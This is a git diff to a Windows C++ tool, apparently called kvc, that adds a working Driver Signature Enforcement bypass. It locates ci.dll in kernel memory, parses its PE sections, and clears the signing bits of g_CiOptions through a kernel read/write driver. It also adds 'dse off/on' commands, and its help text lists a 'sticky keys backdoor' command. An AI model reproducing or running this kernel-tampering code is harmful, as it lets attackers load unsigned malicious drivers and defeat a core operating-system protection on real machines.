diff --git a/kvc/Controller.h b/kvc/Controller.h index e12bdb3..5213ed4 100644 --- a/kvc/Controller.h +++ b/kvc/Controller.h @@ -14,6 +14,7 @@ #include "SessionManager.h" #include "kvcDrv.h" +#include "DSEBypass.h" #include "OffsetFinder.h" #include "TrustedInstallerIntegrator.h" #include "Utils.h" @@ -153,6 +154,67 @@ public: Controller(Controller&&) noexcept = default; ///< Move constructor Controller& operator=(Controller&&) noexcept = default; ///< Move assignment + // DSE Bypass methods + + /** + * @brief Disables Driver Signature Enforcement (DSE) on the system + * + * This method bypasses kernel-mode code signing protection by: + * - Locating the CiEnabled/CI!g_CiOptions global variable in kernel memory + * - Modifying its value to disable signature enforcement checks + * - Bypassing PatchGuard protection mechanisms + * + * @return true if DSE was successfully disabled, false otherwise + * @note Requires kernel driver to be loaded and elevated privileges + * @warning This exposes the system to unsigned driver loading - use with caution + * @note Automatically handles CiEnabled (Win7) and g_CiOptions (Win8+) variants + */ + bool DisableDSE() noexcept; + + /** + * @brief Restores Driver Signature Enforcement to its original state + * + * Reverts the changes made by DisableDSE() by: + * - Restoring the original value of CiOptions/CiEnabled + * - Re-enforcing kernel-mode code signing requirements + * - Ensuring system integrity is maintained + * + * @return true if DSE was successfully restored, false otherwise + * @note Should be called before driver unload to maintain system security + * @warning Failure to restore DSE may leave the system in an insecure state + */ + bool RestoreDSE() noexcept; + + /** + * @brief Retrieves the kernel address of CI!g_CiOptions or CiEnabled variable + * + * Locates the critical kernel structure that controls DSE by: + * - Scanning kernel memory for known patterns + * - Using exported kernel symbols when available + * - Employing heuristic search methods as fallback + * + * @return ULONG_PTR Virtual address of CiOptions in kernel space, 0 if not found + * @note The address is used for direct memory modification to bypass DSE + * @note Returns different addresses based on Windows version (Win7 vs Win8+) + */ + ULONG_PTR GetCiOptionsAddress() const noexcept; + + /** + * @brief Retrieves current DSE status including g_CiOptions address and value + * + * Queries the kernel for current Driver Signature Enforcement state by: + * - Locating ci.dll module in kernel space + * - Finding g_CiOptions variable address + * - Reading current enforcement flags + * + * @param outAddress Reference to store g_CiOptions kernel address + * @param outValue Reference to store current g_CiOptions value + * @return true if status retrieved successfully, false otherwise + * @note Requires driver session with kernel memory access + * @note outValue bits 1-2 indicate DSE state (set = enabled) + */ + bool GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept; + // === Memory Dumping Operations === /** @@ -674,6 +736,7 @@ private: TrustedInstallerIntegrator m_trustedInstaller; ///< TrustedInstaller integration component std::unique_ptr m_rtc; ///< Kernel driver communication interface std::unique_ptr m_of; ///< Kernel offset finder + std::unique_ptr m_dseBypass; ///< Kernel code signing enforcement bypass SQLiteAPI m_sqlite; ///< SQLite API for browser database operations // === Privilege and System Management === diff --git a/kvc/ControllerCore.cpp b/kvc/ControllerCore.cpp index 285da4a..b690750 100644 --- a/kvc/ControllerCore.cpp +++ b/kvc/ControllerCore.cpp @@ -156,7 +156,7 @@ bool Controller::EnsureDriverAvailable() noexcept { return false; } - SUCCESS(L"Kernel driver component initialized successfully"); + DEBUG(L"Kernel driver component initialized successfully"); return true; } diff --git a/kvc/ControllerDSE.cpp b/kvc/ControllerDSE.cpp new file mode 100644 index 0000000..6239350 --- /dev/null +++ b/kvc/ControllerDSE.cpp @@ -0,0 +1,103 @@ +#include "Controller.h" +#include "common.h" + +bool Controller::DisableDSE() noexcept { + if (!BeginDriverSession()) { + ERROR(L"Failed to start driver session for DSE bypass"); + return false; + } + + // Explicitly open driver handle + if (!m_rtc->Initialize()) { + ERROR(L"Failed to initialize driver handle"); + EndDriverSession(true); + return false; + } + + DEBUG(L"Driver handle opened successfully"); + + if (!m_dseBypass) { + m_dseBypass = std::make_unique(m_rtc); + } + + bool result = m_dseBypass->DisableDSE(); + + EndDriverSession(true); + + return result; +} + +bool Controller::RestoreDSE() noexcept { + if (!BeginDriverSession()) { + ERROR(L"Failed to start driver session for DSE restore"); + return false; + } + + if (!m_rtc->Initialize()) { + ERROR(L"Failed to initialize driver handle"); + EndDriverSession(true); + return false; + } + + // Always create new object - program starts from scratch between invocations + m_dseBypass = std::make_unique(m_rtc); + + bool result = m_dseBypass->RestoreDSE(); + + EndDriverSession(true); + + return result; +} + +ULONG_PTR Controller::GetCiOptionsAddress() const noexcept { + if (!m_dseBypass) { + return 0; + } + + return m_dseBypass->GetCiOptionsAddress(); +} + +bool Controller::GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept { + if (!BeginDriverSession()) { + ERROR(L"Failed to start driver session for DSE status check"); + return false; + } + + if (!m_rtc->Initialize()) { + ERROR(L"Failed to initialize driver handle"); + EndDriverSession(true); + return false; + } + + if (!m_dseBypass) { + m_dseBypass = std::make_unique(m_rtc); + } + + // Find ci.dll and locate g_CiOptions + auto ciBase = m_dseBypass->GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"Failed to locate ci.dll"); + EndDriverSession(true); + return false; + } + + outAddress = m_dseBypass->FindCiOptions(ciBase.value()); + if (outAddress == 0) { + ERROR(L"Failed to locate g_CiOptions address"); + EndDriverSession(true); + return false; + } + + // Read current value + auto currentValue = m_rtc->Read32(outAddress); + if (!currentValue) { + ERROR(L"Failed to read g_CiOptions value"); + EndDriverSession(true); + return false; + } + + outValue = currentValue.value(); + + EndDriverSession(true); + return true; +} \ No newline at end of file diff --git a/kvc/ControllerDriverManager.cpp b/kvc/ControllerDriverManager.cpp index f8f1b03..15bd326 100644 --- a/kvc/ControllerDriverManager.cpp +++ b/kvc/ControllerDriverManager.cpp @@ -278,7 +278,7 @@ bool Controller::InstallDriver() noexcept { return false; } - SUCCESS(L"Driver file written successfully: %s (%zu bytes)", driverPath.c_str(), driverData.size()); + DEBUG(L"Driver file written successfully: %s (%zu bytes)", driverPath.c_str(), driverData.size()); // ======================================================================== // SERVICE REGISTRATION diff --git a/kvc/DSEBypass.cpp b/kvc/DSEBypass.cpp new file mode 100644 index 0000000..135a691 --- /dev/null +++ b/kvc/DSEBypass.cpp @@ -0,0 +1,378 @@ +#include "DSEBypass.h" +#include "common.h" + +#pragma comment(lib, "ntdll.lib") + +// Kernel module structures (same as in Utils.cpp) +typedef struct _SYSTEM_MODULE { + ULONG_PTR Reserved1; + ULONG_PTR Reserved2; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT PathLength; + CHAR ImageName[256]; +} SYSTEM_MODULE, *PSYSTEM_MODULE; + +typedef struct _SYSTEM_MODULE_INFORMATION { + ULONG Count; + SYSTEM_MODULE Modules[1]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +DSEBypass::DSEBypass(std::unique_ptr& rtc) : m_rtc(rtc) {} + +bool DSEBypass::DisableDSE() noexcept { + DEBUG(L"[DSE] Attempting to disable Driver Signature Enforcement..."); + + // Step 1: Find ci.dll base address + auto ciBase = GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"[DSE] Failed to locate ci.dll"); + return false; + } + + DEBUG(L"[DSE] ci.dll base: 0x%llX", ciBase.value()); + + // Step 2: Locate g_CiOptions in CiPolicy section + m_ciOptionsAddr = FindCiOptions(ciBase.value()); + if (!m_ciOptionsAddr) { + ERROR(L"[DSE] Failed to locate g_CiOptions"); + return false; + } + + DEBUG(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + + // Step 3: Read current value and store as original + auto current = m_rtc->Read32(m_ciOptionsAddr); + if (!current) { + ERROR(L"[DSE] Failed to read g_CiOptions"); + return false; + } + + m_originalValue = current.value(); + DEBUG(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue); + + // Step 4: Test write capability - write same value back + DEBUG(L"[DSE] Testing write capability before modification..."); + if (!m_rtc->Write32(m_ciOptionsAddr, m_originalValue)) { + ERROR(L"[DSE] Memory test write failed - address may be read-only or protected"); + ERROR(L"[DSE] This could indicate Tamper Protection or PatchGuard monitoring"); + return false; + } + + // Verify test write + auto testRead = m_rtc->Read32(m_ciOptionsAddr); + if (!testRead || testRead.value() != m_originalValue) { + ERROR(L"[DSE] Memory test verification failed (expected: 0x%08X, got: 0x%08X)", + m_originalValue, testRead ? testRead.value() : 0xFFFFFFFF); + ERROR(L"[DSE] Memory region appears to be protected or monitored"); + return false; + } + + DEBUG(L"[DSE] Write capability test passed - memory is writable"); + + // Step 5: Disable DSE by clearing ONLY DSE bits (preserve ALL other flags) + DWORD newValue = m_originalValue & ~0x6; // Clear bit 1 and 2 (DSE), keep rest + + if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { + ERROR(L"[DSE] Failed to write g_CiOptions"); + return false; + } + + // Step 6: Verify the actual change + auto verify = m_rtc->Read32(m_ciOptionsAddr); + if (!verify || verify.value() != newValue) { + ERROR(L"[DSE] Verification failed (read back: 0x%08X)", verify ? verify.value() : 0xFFFFFFFF); + return false; + } + + SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", m_originalValue, newValue); + return true; +} + +bool DSEBypass::RestoreDSE() noexcept { + DEBUG(L"[DSE] Attempting to restore Driver Signature Enforcement..."); + + // Step 1: Find ci.dll base address + auto ciBase = GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"[DSE] Failed to locate ci.dll"); + return false; + } + + // Step 2: Locate g_CiOptions + m_ciOptionsAddr = FindCiOptions(ciBase.value()); + if (!m_ciOptionsAddr) { + ERROR(L"[DSE] Failed to locate g_CiOptions"); + return false; + } + + DEBUG(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + + // Step 3: Read current value + auto current = m_rtc->Read32(m_ciOptionsAddr); + if (!current) { + ERROR(L"[DSE] Failed to read g_CiOptions"); + return false; + } + + DWORD currentValue = current.value(); + DEBUG(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); + + // Step 4: Test write capability before modification + DEBUG(L"[DSE] Testing write capability before restoration..."); + if (!m_rtc->Write32(m_ciOptionsAddr, currentValue)) { + ERROR(L"[DSE] Memory test write failed - address may be read-only or protected"); + return false; + } + + auto testRead = m_rtc->Read32(m_ciOptionsAddr); + if (!testRead || testRead.value() != currentValue) { + ERROR(L"[DSE] Memory test verification failed"); + return false; + } + + DEBUG(L"[DSE] Write capability test passed"); + + // Step 5: Restore DSE bits (preserve HVCI/security flags if present) + DWORD newValue; + + if (m_originalValue) { + // We have stored original value from disable - use it + newValue = m_originalValue; + } else { + // No stored original - restore DSE bits while preserving security flags + newValue = currentValue | 0x6; // Set DSE bits, keep upper bits intact + } + + if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { + ERROR(L"[DSE] Failed to write g_CiOptions"); + return false; + } + + // Step 6: Verify the change + auto verify = m_rtc->Read32(m_ciOptionsAddr); + if (!verify || verify.value() != newValue) { + ERROR(L"[DSE] Verification failed"); + return false; + } + + SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue); + return true; +} + +std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept { + HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); + if (!hNtdll) { + ERROR(L"[DSE] Failed to get ntdll.dll handle"); + return std::nullopt; + } + + typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)( + ULONG SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength + ); + + auto pNtQuerySystemInformation = reinterpret_cast( + GetProcAddress(hNtdll, "NtQuerySystemInformation")); + + if (!pNtQuerySystemInformation) { + ERROR(L"[DSE] Failed to get NtQuerySystemInformation"); + return std::nullopt; + } + + // First call to get required buffer size + ULONG bufferSize = 0; + NTSTATUS status = pNtQuerySystemInformation( + 11, // SystemModuleInformation + nullptr, + 0, + &bufferSize + ); + + if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH + ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status); + return std::nullopt; + } + + // Allocate buffer and get module list + auto buffer = std::make_unique(bufferSize); + auto modules = reinterpret_cast(buffer.get()); + + status = pNtQuerySystemInformation( + 11, // SystemModuleInformation + modules, + bufferSize, + &bufferSize + ); + + if (status != 0) { + ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status); + return std::nullopt; + } + + INFO(L"[DSE] Found %d kernel modules", modules->Count); + + // Debug: Show first 10 modules for diagnostic purposes + DEBUG(L"[DSE] Listing first 10 kernel modules:"); + for (ULONG i = 0; i < modules->Count && i < 10; i++) { + auto& mod = modules->Modules[i]; + const char* fileName = strrchr(mod.ImageName, '\\'); + if (fileName) fileName++; + else fileName = mod.ImageName; + + DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName, + reinterpret_cast(mod.ImageBase)); + } + + // Search for target module by name + for (ULONG i = 0; i < modules->Count; i++) { + auto& mod = modules->Modules[i]; + + // Extract filename from full path + const char* fileName = strrchr(mod.ImageName, '\\'); + if (fileName) { + fileName++; // Skip backslash + } else { + fileName = mod.ImageName; + } + + if (_stricmp(fileName, moduleName) == 0) { + ULONG_PTR baseAddr = reinterpret_cast(mod.ImageBase); + + // Validate base address is not NULL + if (baseAddr == 0) { + ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName); + continue; // Keep searching in case of duplicates + } + + DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize); + return baseAddr; + } + } + + ERROR(L"[DSE] Module %S not found in kernel", moduleName); + return std::nullopt; +} + +ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept { + DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase); + + // Get CiPolicy section information + auto dataSection = GetDataSection(ciBase); + if (!dataSection) { + ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll"); + return 0; + } + + ULONG_PTR dataStart = dataSection->first; + SIZE_T dataSize = dataSection->second; + + DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize); + + // g_CiOptions is always at offset +4 in CiPolicy section + // This is a documented offset used by all DSE bypass tools + ULONG_PTR ciOptionsAddr = dataStart + 0x4; + + // Verify we can read from this address + auto currentValue = m_rtc->Read32(ciOptionsAddr); + if (!currentValue) { + ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr); + return 0; + } + + DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value()); + return ciOptionsAddr; +} + +std::optional> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept { + // Read DOS header (MZ signature) + auto dosHeader = m_rtc->Read16(moduleBase); + if (!dosHeader || dosHeader.value() != 0x5A4D) { + return std::nullopt; + } + + // Get PE header offset + auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C); + if (!e_lfanew || e_lfanew.value() > 0x1000) { + return std::nullopt; + } + + ULONG_PTR ntHeaders = moduleBase + e_lfanew.value(); + + // Verify PE signature + auto peSignature = m_rtc->Read32(ntHeaders); + if (!peSignature || peSignature.value() != 0x4550) { + return std::nullopt; + } + + // Get section count + auto numSections = m_rtc->Read16(ntHeaders + 0x6); + if (!numSections || numSections.value() > 50) { + return std::nullopt; + } + + auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14); + if (!sizeOfOptionalHeader) return std::nullopt; + + ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value(); + + DEBUG(L"[DSE] Scanning %d sections for CiPolicy...", numSections.value()); + + // ZOPTYMALIZOWANE: Szukaj tylko CiPolicy bez wypisywania wszystkich + for (WORD i = 0; i < numSections.value(); i++) { + ULONG_PTR sectionHeader = firstSection + (i * 40); + + // Read section name (8 bytes) + char name[9] = {0}; + for (int j = 0; j < 8; j++) { + auto ch = m_rtc->Read8(sectionHeader + j); + if (ch) name[j] = static_cast(ch.value()); + } + + // Check if this is CiPolicy + if (strcmp(name, "CiPolicy") == 0) { + auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); + auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); + + if (virtualSize && virtualAddr) { + DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X", + virtualAddr.value(), virtualSize.value()); + + return std::make_pair( + moduleBase + virtualAddr.value(), + static_cast(virtualSize.value()) + ); + } + } + } + + ERROR(L"[DSE] CiPolicy section not found in ci.dll"); + return std::nullopt; +} + +bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept { + // Simplified validation - address should be within module bounds + // Maximum reasonable module size is 2MB + return (addr > moduleBase && addr < moduleBase + 0x200000); +} + +DWORD DSEBypass::GetWindowsBuild() noexcept { + OSVERSIONINFOEXW osInfo = { sizeof(osInfo) }; + + typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); + RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress( + GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion"); + + if (RtlGetVersion) { + RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo); + return osInfo.dwBuildNumber; + } + + return 0; +} \ No newline at end of file diff --git a/kvc/DSEBypass.h b/kvc/DSEBypass.h new file mode 100644 index 0000000..3c2d2ba --- /dev/null +++ b/kvc/DSEBypass.h @@ -0,0 +1,35 @@ +#pragma once + +#include "kvcDrv.h" +#include +#include +#include + +class DSEBypass { +private: + std::unique_ptr& m_rtc; + ULONG_PTR m_ciOptionsAddr = 0; + DWORD m_originalValue = 0; + +public: + explicit DSEBypass(std::unique_ptr& rtc); + + // Main DSE control functions + bool DisableDSE() noexcept; + bool RestoreDSE() noexcept; + + // Getters for debugging and status checks + ULONG_PTR GetCiOptionsAddress() const noexcept { return m_ciOptionsAddr; } + DWORD GetOriginalValue() const noexcept { return m_originalValue; } + + // Helper functions (needed for status check from kvc.cpp) + std::optional GetKernelModuleBase(const char* moduleName) noexcept; + ULONG_PTR FindCiOptions(ULONG_PTR ciBase) noexcept; + +private: + // Internal PE parsing helpers + std::optional> GetTextSection(ULONG_PTR moduleBase) noexcept; + std::optional> GetDataSection(ULONG_PTR moduleBase) noexcept; + bool IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept; + DWORD GetWindowsBuild() noexcept; +}; \ No newline at end of file diff --git a/kvc/HelpSystem.cpp b/kvc/HelpSystem.cpp index e92b99b..610df6c 100644 --- a/kvc/HelpSystem.cpp +++ b/kvc/HelpSystem.cpp @@ -12,7 +12,8 @@ void HelpSystem::PrintUsage(std::wstring_view programName) noexcept std::wcout << L"Usage: " << programName << L" [arguments]\n\n"; PrintServiceCommands(); - PrintBasicCommands(); + PrintDSECommands(); + PrintBasicCommands(); PrintProcessTerminationCommands(); PrintProtectionCommands(); PrintSessionManagement(); @@ -21,7 +22,7 @@ void HelpSystem::PrintUsage(std::wstring_view programName) noexcept PrintBrowserCommands(); PrintDefenderCommands(); PrintSecurityEngineCommands(); - PrintDPAPICommands(); + PrintDPAPICommands(); PrintProtectionTypes(); PrintExclusionTypes(); PrintPatternMatching(); @@ -83,6 +84,17 @@ void HelpSystem::PrintServiceCommands() noexcept std::wcout << L"\n"; } +void HelpSystem::PrintDSECommands() noexcept +{ + PrintSectionHeader(L"Driver Signature Enforcement (DSE) Control"); + PrintCommandLine(L"dse off", L"Disable DSE to allow unsigned driver loading"); + PrintCommandLine(L"dse on", L"Re-enable DSE to restore kernel security"); + PrintCommandLine(L"dse", L"Check current DSE status (g_CiOptions address and value)"); + PrintNote(L"Requires kernel driver session with elevated privileges"); + PrintWarning(L"DSE modification may trigger BSOD - continue only if you understand the risk"); + std::wcout << L"\n"; +} + void HelpSystem::PrintBasicCommands() noexcept { PrintSectionHeader(L"Memory Dumping Commands"); @@ -354,6 +366,11 @@ void HelpSystem::PrintUsageExamples(std::wstring_view programName) noexcept printLine(L"kvc service start", L"Start the service"); printLine(L"kvc uninstall", L"Remove service"); + // Driver Signature Enforcement control + printLine(L"kvc dse off", L"Disable DSE to load unsigned drivers"); + printLine(L"kvc dse on", L"Re-enable DSE for system security"); + printLine(L"kvc dse", L"Check current DSE status"); + // System backdoors printLine(L"kvc shift", L"Install sticky keys backdoor"); printLine(L"kvc unshift", L"Remove sticky keys backdoor"); diff --git a/kvc/HelpSystem.h b/kvc/HelpSystem.h index a9b2e02..f8f3cf6 100644 --- a/kvc/HelpSystem.h +++ b/kvc/HelpSystem.h @@ -281,6 +281,20 @@ public: * @note Advanced system modification - use with caution */ static void PrintSecurityEngineCommands() noexcept; + + /** + * @brief Print DSE (Driver Signature Enforcement) command documentation + * + * Commands covered: + * - dse off: Disable Driver Signature Enforcement + * - dse on: Enable Driver Signature Enforcement + * - dse: Check DSE status + * + * @note Modifying DSE is an advanced system operation and may cause instability or BSOD. Use with extreme caution. + */ + + static void PrintDSECommands() noexcept; + /** * @brief Print session management documentation diff --git a/kvc/Kvc.cpp b/kvc/Kvc.cpp index 14e2c47..e913246 100644 --- a/kvc/Kvc.cpp +++ b/kvc/Kvc.cpp @@ -17,6 +17,7 @@ #include "common.h" #include "Controller.h" +#include "DSEBypass.h" #include "HelpSystem.h" #include "DefenderManager.h" #include "ProcessManager.h" @@ -312,8 +313,80 @@ int wmain(int argc, wchar_t* argv[]) return success ? 0 : 1; } - - else if (command == L"service") { + + // ============================================================================ + // DSE (DRIVER SIGNATURE ENFORCEMENT) COMMANDS + // ============================================================================ + + else if (command == L"dse") { + // No parameter = check status + if (argc < 3) { + INFO(L"Checking Driver Signature Enforcement status..."); + + ULONG_PTR ciOptionsAddr = 0; + DWORD value = 0; + + if (!g_controller->GetDSEStatus(ciOptionsAddr, value)) { + ERROR(L"Failed to retrieve DSE status"); + return 2; + } + + bool dseEnabled = (value & 0x6) != 0; // Bit 1 and 2 = DSE + + std::wcout << L"\n"; + INFO(L"DSE Status Information:"); + INFO(L" g_CiOptions address: 0x%llX", ciOptionsAddr); + INFO(L" g_CiOptions value: 0x%08X", value); + INFO(L" Bit 1 (Test signing): %s", (value & 0x2) ? L"SET" : L"CLEAR"); + INFO(L" Bit 2 (Unsigned drivers): %s", (value & 0x4) ? L"SET" : L"CLEAR"); + std::wcout << L"\n"; + + if (dseEnabled) { + SUCCESS(L"Driver Signature Enforcement: ENABLED"); + INFO(L"System is protected - only signed drivers can load"); + } else { + ERROR(L"Driver Signature Enforcement: DISABLED"); + INFO(L"WARNING: Unsigned drivers can be loaded!"); + } + + std::wcout << L"\n"; + return 0; + } + + std::wstring_view subCmd = argv[2]; + + if (subCmd == L"off") { + INFO(L"Disabling Driver Signature Enforcement..."); + + if (!g_controller->DisableDSE()) { + ERROR(L"Failed to disable DSE"); + return 2; + } + + SUCCESS(L"DSE disabled successfully!"); + INFO(L"You can now load unsigned drivers"); + INFO(L"g_CiOptions address: 0x%llX", g_controller->GetCiOptionsAddress()); + return 0; + } + else if (subCmd == L"on") { + INFO(L"Restoring Driver Signature Enforcement..."); + + if (!g_controller->RestoreDSE()) { + ERROR(L"Failed to restore DSE"); + return 2; + } + + SUCCESS(L"DSE restored successfully!"); + return 0; + } + else { + ERROR(L"Unknown DSE command: %s", subCmd.data()); + ERROR(L"Usage: kvc dse [off|on] or kvc dse (status)"); + return 1; + } + } + + else if (command == L"service") { if (argc < 3) { ERROR(L"Missing service command: start, stop, restart"); return 1; diff --git a/kvc/Kvc.vcxproj b/kvc/Kvc.vcxproj index 59caf3c..524a49c 100644 --- a/kvc/Kvc.vcxproj +++ b/kvc/Kvc.vcxproj @@ -114,6 +114,8 @@ + + @@ -141,6 +143,7 @@ + diff --git a/kvc/Kvc.vcxproj.filters b/kvc/Kvc.vcxproj.filters index ea5272c..8716ed2 100644 --- a/kvc/Kvc.vcxproj.filters +++ b/kvc/Kvc.vcxproj.filters @@ -17,78 +17,148 @@ {8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942} - - - Source Files - - - Source Files - - - Source Files - - - Source Files - - - Source Files - - - Source Files - - - Source Files - - - Source Files\Controller - - - Source Files\Controller - - - Source Files\Controller - - - Source Files\Controller - - - Source Files\Controller - - - Source Files\Controller - - - - - Header Files - - - Header Files - - - Header Files - - - Header Files - - - Header Files - - - Header Files - - - Header Files - - - Header Files - - - - - Resource Files - - + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files\Controller + + + Source Files\Controller + + + Source Files\Controller + + + Source Files\Controller + + + Source Files\Controller + + + Source Files\Controller + + + Source Files\Controller + + + Source Files\Controller + + + Source Files\Controller + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + + + Resource Files + + + + + Resource Files + + Resource Files diff --git a/kvc/TrustedInstallerIntegrator.cpp b/kvc/TrustedInstallerIntegrator.cpp index 129b0b6..23f5bd6 100644 --- a/kvc/TrustedInstallerIntegrator.cpp +++ b/kvc/TrustedInstallerIntegrator.cpp @@ -416,7 +416,7 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring& CloseHandle(hFile); RevertToSelf(); - SUCCESS(L"File written successfully: %s (%zu bytes)", filePath.c_str(), data.size()); + DEBUG(L"File written successfully: %s (%zu bytes)", filePath.c_str(), data.size()); return true; } @@ -444,7 +444,7 @@ bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(const std::wstring RevertToSelf(); if (result) { - SUCCESS(L"File deleted: %s", filePath.c_str()); + DEBUG(L"File deleted: %s", filePath.c_str()); } else { ERROR(L"Failed to delete file: %s (error: %d)", filePath.c_str(), error); }